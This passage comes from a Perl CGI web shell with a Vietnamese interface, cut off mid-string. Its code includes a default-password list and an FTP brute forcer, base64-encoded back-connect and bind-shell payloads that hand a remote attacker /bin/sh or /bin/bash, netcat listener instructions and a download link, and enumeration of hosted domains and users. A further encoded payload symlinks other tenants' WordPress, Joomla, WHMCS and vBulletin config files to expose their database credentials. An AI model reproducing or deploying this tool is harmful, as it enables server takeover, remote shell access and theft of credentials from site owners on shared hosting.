  873. password
  874. 123456
  875. 1234567
  876. 12345678
  877. 123456789
  878. 1234567890
  879. 111111
  880. 000000
  881. 222222
  882. 333333
  883. 444444
  884. 555555
  885. 666666
  886. 777777
  887. 888888
  888. 999999
  889. 123123
  890. 234234
  891. 345345
  892. 456456
  893. 567567
  894. 678678
  895. 789789
  896. 123321
  897. 456654
  898. 654321
  899. 7654321
  900. 87654321
  901. 987654321
  902. 0987654321
  903. admin123
  904. admin123456
  905. abcdef
  906. abcabc
  907. !@#!@#
  908. !@#$%^
  909. !@#$%^&*(
  910. !@#$$#@!
  911. abc123
  912. anhyeuem
  913. iloveyou
  914. </textarea></td></tr><tr><td colspan="2" align="center">Sleep:<select name="sleep"><option>0</option><option>1</option><option>2</option><option>3</option></select> <input type="submit" class="submit" value="Enter"/></td></tr></form></table>
  915. END
  916. return $result;
  917. }
  918. #------------------------------------------------------------------------------
  919. # Brute Forcer
  920. #------------------------------------------------------------------------------
  921. sub BruteForcer
  922. {
  923. my $result="";
  924. $Server=$ENV{'SERVER_ADDR'};
  925. if($in{'user'} eq "")
  926. {
  927. $result .= &BruteForcerForm;
  928. }else
  929. {
  930. use Net::FTP;
  931. @user= split(/\n/, $in{'user'});
  932. @pass= split(/\n/, $in{'pass'});
  933. chomp(@user);
  934. chomp(@pass);
  935. $result .= "<br><br>[+] Trying brute $ServerName<br>====================>>>>>>>>>>>><<<<<<<<<<====================<br><br>\n";
  936. foreach $username (@user)
  937. {
  938. if($username ne "")
  939. {
  940. foreach $password (@pass)
  941. {
  942. $ftp = Net::FTP->new($Server) or die "Could not connect to $ServerName\n";
  943. if($ftp->login("$username","$password"))
  944. {
  945. $result .= "<a target='_blank' href='ftp://$username:$password\@$Server'>[+] ftp://$username:$password\@$Server</a><br>\n";
  946. $ftp->quit();
  947. break;
  948. }
  949. if($in{'sleep'} ne "0")
  950. {
  951. sleep(int($in{'sleep'}) * 1000);
  952. }
  953. $ftp->quit();
  954. }
  955. }
  956. }
  957. $result .= "\n<br>==========>>>>>>>>>> Finished <<<<<<<<<<==========<br>\n";
  958. }
  959. return $result;
  960. }
  961. #------------------------------------------------------------------------------
  962. # Backconnect Form
  963. #------------------------------------------------------------------------------
  964. sub BackBindForm
  965. {
  966. return <<END;
  967. <br><br><table><tr><form name="f" method="POST" action="$ScriptLocation"><td>BackConnect: <input type="hidden" name="a" value="backbind"></td><td> Host: <input type="text" size="20" name="clientaddr" value="$ENV{'REMOTE_ADDR'}">
  968. Port: <input type="text" size="6" name="clientport" value="1711" onkeyup="document.getElementById('ba').innerHTML=this.value;"></td>
  969. <td><input name="s" class="submit" type="submit" name="submit" value="Enter"></td></form></tr><tr><td colspan=3><font color=#FFFFFF>[+] Client listen before connect back!
  970. <br>[+] Try check your Port with <a target="_blank" href="http://www.canyouseeme.org/">http://www.canyouseeme.org/</a><br>[+] Client listen with command: <run>nc -vv -l -p <span id="ba">80</span></run></font></td>
  971. </tr></table><br><br><table><tr><form method="POST" action="$ScriptLocation"><td>Bind Port: <input type="hidden" name="a" value="backbind"></td>
  972. <td> Port: <input type="text" size="15" name="clientport" value="1412" onkeyup="document.getElementById('bi').innerHTML=this.value;">
  973. M&#7853;t Kh&#7849;u: <input type="text" size="12" name="bindpass" value="abc"></td>
  974. <td><input name="s" class="submit" type="submit" name="submit" value="Enter"></td></form></tr><tr><td colspan=3><font color=#FFFFFF>[+] Testing ....
  975. <br>[+] Try command: <run>nc $ENV{'SERVER_ADDR'} <span id="bi">1412</span></run></font></td>
  976. </tr></table><br/><b><a style="color:#FFF500;" href="http://www.mediafire.com/download/oz2605n328gnkru" target="_blank">Click Download Netcat, nc.exe</a></b><br>
  977. END
  978. }
  979. #------------------------------------------------------------------------------
  980. # Backconnect use perl
  981. #------------------------------------------------------------------------------
  982. sub BackBind
  983. {
  984. use Socket;
  985. $backperl="IyEvdXNyL2Jpbi9wZXJsCnVzZSBTb2NrZXQ7CiRjbWQ9ICJseW54IjsKJHN5c3RlbT0gJ2VjaG8gIiI7CmVjaG8gIlsrXSBNYXJpb24wMDEgQmFjayBDb25uZWN0IFRoYW5oIENvbmcgIjsKZWNobyAiWytdIEZCOiBodHRwczovL3d3dy5mYWNlYm9vay5jb20vUGFydHkuTWFyaW9uMDAxIjsKZWNobyAiWytdIE1haWw6IE1yLk1hcmlvbjAwMUBnbWFpbC5jb20iO2VjaG8gIiI7CmVjaG8gIlstXSBVbmFtZSAtYToiO2VjaG8gImB1bmFtZSAtYWAiO2VjaG8gIiI7CmVjaG8gIlstXSBpZDoiO2VjaG8gImBpZGAiO2VjaG8gIiI7ZWNobyAiWy1dIHB3ZDoiOwplY2hvICJgcHdkYCI7ZWNobyAiIjtlY2hvICJbK10gQ29tbWFuZCBNYXJpb24wMDE+IjtlY2hvIiI7L2Jpbi9zaCc7CiQwPSRjbWQ7CiR0YXJnZXQ9JEFSR1ZbMF07CiRwb3J0PSRBUkdWWzFdOwokaWFkZHI9aW5ldF9hdG9uKCR0YXJnZXQpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsKJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsKJHByb3RvPWdldHByb3RvYnluYW1lKCd0Y3AnKTsKc29ja2V0KFNPQ0tFVCwgUEZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllKCJFcnJvcjogJCFcbiIpOwpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7Cm9wZW4oU1RESU4sICI+JlNPQ0tFVCIpOwpvcGVuKFNURE9VVCwgIj4mU09DS0VUIik7Cm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsKc3lzdGVtKCRzeXN0ZW0pOwpjbG9zZShTVERJTik7CmNsb3NlKFNURE9VVCk7CmNsb3NlKFNUREVSUik7";
  986. $bindperl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJEFSR0M9QEFSR1Y7DQokcG9ydAk9ICRBUkdWWzBdOw0KJHByb3RvCT0gZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0KJFNoZWxsCT0gIi9iaW4vYmFzaCI7DQpzb2NrZXQoU0VSVkVSLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKW9yIGRpZSAic29ja2V0OiQhIjsNCnNldHNvY2tvcHQoU0VSVkVSLCBTT0xfU09DS0VULCBTT19SRVVTRUFERFIsIHBhY2soImwiLCAxKSlvciBkaWUgInNldHNvY2tvcHQ6ICQhIjsNCmJpbmQoU0VSVkVSLCBzb2NrYWRkcl9pbigkcG9ydCwgSU5BRERSX0FOWSkpb3IgZGllICJiaW5kOiAkISI7DQpsaXN0ZW4oU0VSVkVSLCBTT01BWENPTk4pCQlvciBkaWUgImxpc3RlbjogJCEiOw0KZm9yKDsgJHBhZGRyID0gYWNjZXB0KENMSUVOVCwgU0VSVkVSKTsgY2xvc2UgQ0xJRU5UKQ0Kew0KCW9wZW4oU1RESU4sICI+JkNMSUVOVCIpOw0KCW9wZW4oU1RET1VULCAiPiZDTElFTlQiKTsNCglvcGVuKFNUREVSUiwgIj4mQ0xJRU5UIik7DQoJc3lzdGVtKCJ1bnNldCBISVNURklMRTsgdW5zZXQgU0FWRUhJU1QgO2VjaG8gJ1srXSBTeXN0ZW1pbmZvOiAnOyB1bmFtZSAtYTtlY2hvO2VjaG8gJ1srXSBVc2VyaW5mbzogJzsgaWQ7ZWNobztlY2hvICdbK10gRGlyZWN0b3J5OiAnOyBwd2Q7ZWNobzsgZWNobyAnWytdIFNoZWxsOiAnOyRTaGVsbCIpOw0KCWNsb3NlKFNURElOKTsNCgljbG9zZShTVERPVVQpOw0KCWNsb3NlKFNUREVSUik7DQp9DQo=";
  987. $ClientAddr = $in{'clientaddr'};
  988. $ClientPort = int($in{'clientport'});
  989. if($ClientPort eq 0)
  990. {
  991. return &BackBindForm;
  992. }elsif(!$ClientAddr eq "")
  993. {
  994. $Data=decode_base64($backperl);
  995. if(-w "/tmp/")
  996. {
  997. $File="/tmp/backconnect.pl";
  998. }else
  999. {
  1000. $File=$CurrentDir.$PathSep."backconnect.pl";
  1001. }
  1002. open(FILE, ">$File");
  1003. print FILE $Data;
  1004. close FILE;
  1005. system("perl $File $ClientAddr $ClientPort");
  1006. unlink($File);
  1007. exit 0;
  1008. }else
  1009. {
  1010. $Data=decode_base64($bindperl);
  1011. if(-w "/tmp")
  1012. {
  1013. $File="/tmp/bindport.pl";
  1014. }else
  1015. {
  1016. $File=$CurrentDir.$PathSep."bindport.pl";
  1017. }
  1018. open(FILE, ">$File");
  1019. print FILE $Data;
  1020. close FILE;
  1021. system("perl $File $ClientPort");
  1022. unlink($File);
  1023. exit 0;
  1024. }
  1025. }
  1026. #------------------------------------------------------------------------------
  1027. # Array List Directory
  1028. #------------------------------------------------------------------------------
  1029. sub RmDir($)
  1030. {
  1031. my $dir = shift;
  1032. if(opendir(DIR,$dir))
  1033. {
  1034. while($file = readdir(DIR))
  1035. {
  1036. if(($file ne ".") && ($file ne ".."))
  1037. {
  1038. $file= $dir.$PathSep.$file;
  1039. if(-d $file)
  1040. {
  1041. &RmDir($file);
  1042. }
  1043. else
  1044. {
  1045. unlink($file);
  1046. }
  1047. }
  1048. }
  1049. closedir(DIR);
  1050. }
  1051. }
  1052. sub FileOwner($)
  1053. {
  1054. my $file = shift;
  1055. if(-e $file)
  1056. {
  1057. ($uid,$gid) = (stat($file))[4,5];
  1058. if($WinNT)
  1059. {
  1060. return "???";
  1061. }
  1062. else
  1063. {
  1064. $name=getpwuid($uid);
  1065. $group=getgrgid($gid);
  1066. return $name."/".$group;
  1067. }
  1068. }
  1069. return "???";
  1070. }
  1071. sub ParentFolder($)
  1072. {
  1073. my $path = shift;
  1074. my $Comm = "cd \"$CurrentDir\"".$CmdSep."cd ..".$CmdSep.$CmdPwd;
  1075. chop($path = `$Comm`);
  1076. return $path;
  1077. }
  1078. sub FilePerms($)
  1079. {
  1080. my $file = shift;
  1081. my $ur = "-";
  1082. my $uw = "-";
  1083. if(-e $file)
  1084. {
  1085. if($WinNT)
  1086. {
  1087. if(-r $file){ $ur = "r"; }
  1088. if(-w $file){ $uw = "w"; }
  1089. return $ur . " / " . $uw;
  1090. }else
  1091. {
  1092. $mode=(stat($file))[2];
  1093. $result = sprintf("%04o", $mode & 07777);
  1094. return $result;
  1095. }
  1096. }
  1097. return "0000";
  1098. }
  1099. sub FileLastModified($)
  1100. {
  1101. my $file = shift;
  1102. if(-e $file)
  1103. {
  1104. ($la) = (stat($file))[9];
  1105. ($d,$m,$y,$h,$i) = (localtime($la))[3,4,5,2,1];
  1106. $y = $y + 1900;
  1107. @month = qw/1 2 3 4 5 6 7 8 9 10 11 12/;
  1108. $lmtime = sprintf("%02d/%s/%4d %02d:%02d",$d,$month[$m],$y,$h,$i);
  1109. return $lmtime;
  1110. }
  1111. return "???";
  1112. }
  1113. sub FileSize($)
  1114. {
  1115. my $file = shift;
  1116. if(-f $file)
  1117. {
  1118. return -s "$file";
  1119. }
  1120. return "0";
  1121. }
  1122. sub ParseFileSize($)
  1123. {
  1124. my $size = shift;
  1125. if($size <= 1024)
  1126. {
  1127. return $size. " B";
  1128. }
  1129. else
  1130. {
  1131. if($size <= 1024*1024)
  1132. {
  1133. $size = sprintf("%.02f",$size / 1024);
  1134. return $size." KB";
  1135. }
  1136. else
  1137. {
  1138. $size = sprintf("%.2f",$size / 1024 / 1024);
  1139. return $size." MB";
  1140. }
  1141. }
  1142. }
  1143. sub trim($)
  1144. {
  1145. my $string = shift;
  1146. $string =~ s/^\s+//;
  1147. $string =~ s/\s+$//;
  1148. return $string;
  1149. }
  1150. sub AddSlashes($)
  1151. {
  1152. my $string = shift;
  1153. $string=~ s/\\/\\\\/g;
  1154. return $string;
  1155. }
  1156. sub TrimSlashes($)
  1157. {
  1158. my $string = shift;
  1159. $string=~ s/\/\//\//g;
  1160. $string=~ s/\\\\/\\/g;
  1161. return $string;
  1162. }
  1163. sub ListDir
  1164. {
  1165. my $path = &TrimSlashes($CurrentDir.$PathSep);
  1166. my $result = "<form name='f' onSubmit=\"Encoder('d')\" action='$ScriptLocation'><span style='font: 11pt Verdana; font-weight: bold;'>Path: [ ".&AddLinkDir("gui")." ] </span><input type='text' id='d' name='d' size='40' value='$CurrentDir' /><input type='hidden' name='a' value='gui'><input class='submit' type='submit' value='Enter'></form>";
  1167. if(-d $path)
  1168. {
  1169. my @fname = ();
  1170. my @dname = ();
  1171. if(opendir(DIR,$path))
  1172. {
  1173. while($file = readdir(DIR))
  1174. {
  1175. $f=$path.$file;
  1176. if(-d $f)
  1177. {
  1178. push(@dname,$file);
  1179. }
  1180. else
  1181. {
  1182. push(@fname,$file);
  1183. }
  1184. }
  1185. closedir(DIR);
  1186. }
  1187. @fname = sort { lc($a) cmp lc($b) } @fname;
  1188. @dname = sort { lc($a) cmp lc($b) } @dname;
  1189. $result .= "<div><table width='90%' class='listdir'>
  1190. <tr style='background-color: #3e3e3e'><th>T&#234;n File</th>
  1191. <th width='100'>Kick Th&#432;&#7899;c File</th>
  1192. <th width='150'>N&#417;i S&#7903; h&#7919;u</th>
  1193. <th width='100'>S&#7921; C&#7845;p Ph&#233;p</th>
  1194. <th width='150'>Thay &#272;&#7893;i M&#7899;i Nh&#7845;t</th>
  1195. <th width='230'>H&#224;nh &#272;&#7897;ng</th></tr>";
  1196. my $style="notline";
  1197. my $i=0;
  1198. foreach my $d (@dname)
  1199. {
  1200. $style= ($style eq "line") ? "notline": "line";
  1201. $d = &trim($d);
  1202. $dirname=$d;
  1203. if($d eq "..")
  1204. {
  1205. $d = &ParentFolder($path);
  1206. }
  1207. elsif($d eq ".")
  1208. {
  1209. next;
  1210. }
  1211. else
  1212. {
  1213. $d = $path.$d;
  1214. }
  1215. $result .= "<tr class='$style'><td id='File_$i' class='dir'><a href='?a=gui&d=".&EncodeDir($d)."'>[ ".$dirname." ]</a></td>";
  1216. $result .= "<td>DIR</td>";
  1217. $result .= "<td>".&FileOwner($d)."</td>";
  1218. $result .= "<td id='FilePerms_$i' ondblclick=\"rm_chmod_form(this,".$i.",'".&FilePerms($d)."','".$dirname."')\" ><span onclick=\"chmod_form(".$i.",'".$dirname."')\" >".&FilePerms($d)."</span></td>";
  1219. $result .= "<td>".&FileLastModified($d)."</td>";
  1220. $result .= "<td><a onclick=\"rename_form($i,'$dirname','".&AddSlashes(&AddSlashes($d))."'); return false; \">&#272;&#7893;i T&#234;n</a> | <a onclick=\"if(!confirm('Remove dir: $dirname ?')) { return false;}\" href='?a=gui&d=".&EncodeDir($path)."&remove=$dirname'>Di Chuy&#7875;n</a></td>";
  1221. $result .= "</tr>";
  1222. $i++;
  1223. }
  1224. foreach my $f (@fname)
  1225. {
  1226. $style= ($style eq "line") ? "notline": "line";
  1227. $file=$f;
  1228. $f = $path.$f;
  1229. my $action = encode_base64("edit ".$file);
  1230. $view = "?dir=".$path."&view=".$f;
  1231. $result .= "<tr class='$style'><td id='File_$i' class='file'><a href='?a=command&d=".&EncodeDir($path)."&c=".$action."'>".$file."</a></td>";
  1232. $result .= "<td>".&ParseFileSize(&FileSize($f))."</td>";
  1233. $result .= "<td>".&FileOwner($f)."</td>";
  1234. $result .= "<td id='FilePerms_$i' ondblclick=\"rm_chmod_form(this,".$i.",'".&FilePerms($f)."','".$file."')\" ><span onclick=\"chmod_form($i,'$file')\" >".&FilePerms($f)."</span></td>";
  1235. $result .= "<td>".&FileLastModified($f)."</td>";
  1236. $result .= "<td><a onclick=\"rename_form($i,'$file','f'); return false;\">&#272;&#7893;i T&#234;n</a> | <a href='?a=download&o=go&f=".$f."'>T&#7843;i Xu&#7889;ng</a> | <a onclick=\"if(!confirm('Remove file: $file ?')) { return false;}\" href='?a=gui&d=".&EncodeDir($path)."&remove=$file'>Di Chuy&#7875;n</a></td>";
  1237. $result .= "</tr>";
  1238. $i++;
  1239. }
  1240. $result .= "</table></div>";
  1241. }
  1242. return $result;
  1243. }
  1244. #------------------------------------------------------------------------------
  1245. # Try to View List User
  1246. #------------------------------------------------------------------------------
  1247. sub ViewDomainUser
  1248. {
  1249. open (d0mains, '/etc/named.conf') or $err=1;
  1250. my @cnzs = <d0mains>;
  1251. close d0mains;
  1252. my $style="line";
  1253. my $result="<h3><font style='font: 15pt Verdana;color: 00FF00;'>C&#7843;nh B&#225;o ! Shell &#272;&#7875; S&#7917; D&#7909;ng Tham Kh&#7843;o, Kh&#244;ng Hack</font></h3>";
  1254. if ($err)
  1255. {
  1256. $result .= ('<p>Th&#7845;t B&#7841;i, Kh&#244;ng Th&#7875; V&#432;&#7907;t Qua N&#243;</p>');
  1257. return $result;
  1258. }else
  1259. {
  1260. $result .= '<table id="domain"><tr><th>d0mains</th> <th>User</th></tr>';
  1261. }
  1262. foreach my $one (@cnzs)
  1263. {
  1264. if($one =~ m/.*?zone "(.*?)" {/)
  1265. {
  1266. $style= ($style eq "line") ? "notline": "line";
  1267. $filename= trim("/etc/valiases/".$1);
  1268. $owner = getpwuid((stat($filename))[4]);
  1269. $result .= '<tr style="$style" width=50%><td><a href="http://'.$1.'" target="_blank">'.$1.'</a></td><td> '.$owner.'</td></tr>';
  1270. }
  1271. }
  1272. $result .= '</table>';
  1273. return $result;
  1274. }
  1275. #------------------------------------------------------------------------------
  1276. # View Log
  1277. #------------------------------------------------------------------------------
  1278. sub ViewLog
  1279. {
  1280. $EncodeCurrentDir = EncodeDir($CurrentDir);
  1281. if($WinNT)
  1282. {
  1283. return "<h2><font style='font: 20pt Verdana;color: 00FF00;'>Don't run on Windows</font></h2>";
  1284. }
  1285. my $result="<table><tr><th>Path Log</th><th>Submit</th></tr>";
  1286. my @pathlog=( '/usr/local/apache/logs/error_log',
  1287. '/usr/local/apache/logs/access_log',
  1288. '/usr/local/apache2/conf/httpd.conf',
  1289. '/var/log/httpd/error_log',
  1290. '/var/log/httpd/access_log',
  1291. '/usr/local/cpanel/logs/error_log',
  1292. '/usr/local/cpanel/logs/access_log',
  1293. '/usr/local/apache/logs/suphp_log',
  1294. '/usr/local/cpanel/logs',
  1295. '/usr/local/cpanel/logs/stats_log',
  1296. '/usr/local/cpanel/logs/access_log',
  1297. '/usr/local/cpanel/logs/error_log',
  1298. '/usr/local/cpanel/logs/license_log',
  1299. '/usr/local/cpanel/logs/login_log',
  1300. '/usr/local/cpanel/logs/stats_log',
  1301. '/var/cpanel/cpanel.config',
  1302. '/usr/local/php/lib/php.ini',
  1303. '/usr/local/php5/lib/php.ini',
  1304. '/var/log/mysql/mysql-bin.log',
  1305. '/var/log/mysql.log',
  1306. '/var/log/mysqlderror.log',
  1307. '/var/log/mysql/mysql.log',
  1308. '/var/log/mysql/mysql-slow.log',
  1309. '/var/mysql.log',
  1310. '/var/lib/mysql/my.cnf',
  1311. '/etc/mysql/my.cnf',
  1312. '/etc/my.cnf',
  1313. );
  1314. my $i=0;
  1315. my $perms;
  1316. my $sl;
  1317. foreach my $log (@pathlog)
  1318. {
  1319. if(-r $log)
  1320. {
  1321. $perms="OK";
  1322. }else
  1323. {
  1324. $perms="<font style='color: red;'>Cancel<font>";
  1325. }
  1326. $result .=<<END;
  1327. <tr>
  1328.  
  1329. <form action="" method="post" onSubmit="Encoder('log$i')">
  1330. <td><input type="text" id="log$i" name="c" value="tail -10000 $log | grep '/home'" size='50'/></td>
  1331. <td><input class="submit" type="submit" value="Try" /></td>
  1332. <input type="hidden" name="a" value="command" />
  1333. <input type="hidden" name="d" value="$EncodeCurrentDir" />
  1334. </form>
  1335. <td>$perms</td>
  1336.  
  1337. </tr>
  1338. END
  1339. $i++;
  1340. }
  1341. $result .="</table>";
  1342. return $result;
  1343. }
  1344. sub ConfigIzaass{
  1345. open (CreateNew,">Config.log") or die "Kh&#244;ng Th&#7875; T&#7841;o File";
  1346. $configizaass = "IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCnByaW50ICJDb250ZW50LXR5cGU6IHRleHQvaHRtbFxuXG4iOwpwcmludCc8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBUcmFuc2l0aW9uYWwvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtdHJhbnNpdGlvbmFsLmR0ZCI+CjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj48aGVhZD48bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LUxhbmd1YWdlIiBjb250ZW50PSJlbi11cyIgLz4KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiIC8+PHRpdGxlPkNvbmZpZy5sb2c8L3RpdGxlPgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgoubmV3U3R5bGUxIHsKIGZvbnQtZmFtaWx5OiBUYWhvbWE7CiBmb250LXNpemU6IHgtc21hbGw7CiBmb250LXdlaWdodDogYm9sZDsKIGNvbG9yOiAjMDBGRkZGOwogIHRleHQtYWxpZ246IGNlbnRlcjsKfQo8L3N0eWxlPjwvaGVhZD4nOwpzdWIgbGlsewogICAgKCR1c2VyKSA9IEBfOwokbXNyID0gcXh7cHdkfTsKJGtvbGE9JG1zci4iLyIuJHVzZXI7CiRrb2xhPX5zL1xuLy9nOwpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvdmIvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJ35+dkJ1bGxldGluMS1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nfn52QnVsbGV0aW4yLWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLid+fnZCdWxsZXRpbjMtbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2MvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJ35+dkJ1bGxldGluNC1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywka29sYS4nfn5QaHBiYjEtbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJ35+UGhwYmIyLWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAnLCRrb2xhLid+fldvcmRwcmVzczEtbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwJywka29sYS4nfn5Xb3JkcHJlc3MyLWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5Kb29tbGExLWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2Jsb2cvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fkpvb21sYTItbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5Kb29tbGEzLWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htMS1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5XaG0yLWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1cHBvcnQvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fldobTMtbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5XaG00LWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmdzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5XaG01LWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmcvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fldobTYtbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htNy1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jcy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htOC1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9vcmRlci9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htOS1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25mLnBocCcsJGtvbGEuJ35+NS1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25maWcucGhwJywka29sYS4nfn40LWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZfZ2xvYmFsLnBocCcsJGtvbGEuJ35+aW52aXNpby1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJGtvbGEuJ35+Ny1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25uZWN0LnBocCcsJGtvbGEuJ35+OC1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ta19jb25mLnBocCcsJGtvbGEuJ35+bWstcG9ydGFsZTEtbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZS9jb25maWcucGhwJywka29sYS4nfn4xMi1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zZXR0aW5ncy5waHAnLCRrb2xhLid+flNtZi1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9mdW5jdGlvbnMucGhwJywka29sYS4nfn5waHBiYjMtbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCRrb2xhLid+fmluZmluaXR5LWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC92Yi9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nfn52QnVsbGV0aW4xLWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nfn52QnVsbGV0aW4yLWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nfn52QnVsbGV0aW4zLWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jYy9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nfn52QnVsbGV0aW40LWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywka29sYS4nfn5QaHBiYjEtbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLid+flBocGJiMi1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCcsJGtvbGEuJ35+V29yZHByZXNzMS1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwJywka29sYS4nfn5Xb3JkcHJlc3MyLWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+Sm9vbWxhMS1sb